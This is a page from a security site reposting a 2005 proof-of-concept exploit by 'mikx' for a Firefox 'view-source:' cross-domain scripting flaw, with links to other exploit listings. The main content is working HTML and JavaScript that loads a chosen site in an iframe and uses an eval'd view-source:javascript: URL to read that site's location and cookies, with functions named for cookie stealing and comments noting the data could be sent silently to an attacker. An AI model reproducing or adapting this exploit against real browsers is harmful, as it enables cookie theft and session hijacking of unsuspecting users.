首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mozilla Firefox view-source: Protocol Cross Domain Scripting Exploit
来源:www.vfocus.net 作者:vfocus 发布时间:2005-05-31  

Mozilla Firefox "view-source:" Protocol Cross Domain Scripting Exploit

<html>
<head>
<title>Fireviewing - Proof-of-Concept by mikx</title>
<script language="JavaScript" type="text/javascript">

<-- The view-source: pseudo protocol can be used to do cross-domain scripting -->
<-- without user interaction. This can be used to steal cookies from other -->
<-- hosts or manipulate the DOM cross-domain. -->
<-- This PoC will show the given URL in the IFRAME and will raise an alert box -->
<-- containing the document.location and document.cookie property of that URL -->
<-- when the page is completly loaded. An attacker could easily automate that -->
<-- action and send the data silently to another host.

var done = true;
function stealCookie() {
if(!done) {
done = true;
stealframe.location = "view-source:javascript:eval(\"alert('
Location: '+document.location+' \"+String.fromCharCode(92)+\
"n Cookie: '+document.cookie)\")"
}
}
function setLocation(){
done = false;
stealframe.location = document.getElementById("stealurl").value;
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">
<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Fireviewing</div>

<div style="width:600px">
<br><br>
<input id="stealurl" type="text" value="http://www.google.com/" style="width:450px;
font-family:Arial, Helvetica; font-size:12px;">
<input type="button" value="steal from site" onclick="setLocation()"
style="width:145px; font-family:Arial, Helvetica; font-size:12px;">
<br>
<iframe name="stealframe" src="about:blank" onload="stealCookie()"
style="width:600px; height:200px;"></iframe>
</div>
</body>
</html>




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS SQL Server Passwords Brutef
·Mozilla Firefox view-source:ja
·Fusion SBX Remote Command Exec
·Mozilla Suite and Firefox Scri
·Mac OS X / Adobe Version Cue L
·Multiple Vendor TCP Timestamps
·PhotoPost Arbitrary Data
·GLD Remote Format String Vulne
·Microsoft Windows XP/2003 IPv6
·MaxWebPortal Administrator Pas
·procps vmstat p Argument Local
·Linux Cryptoloop Watermark Exp
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved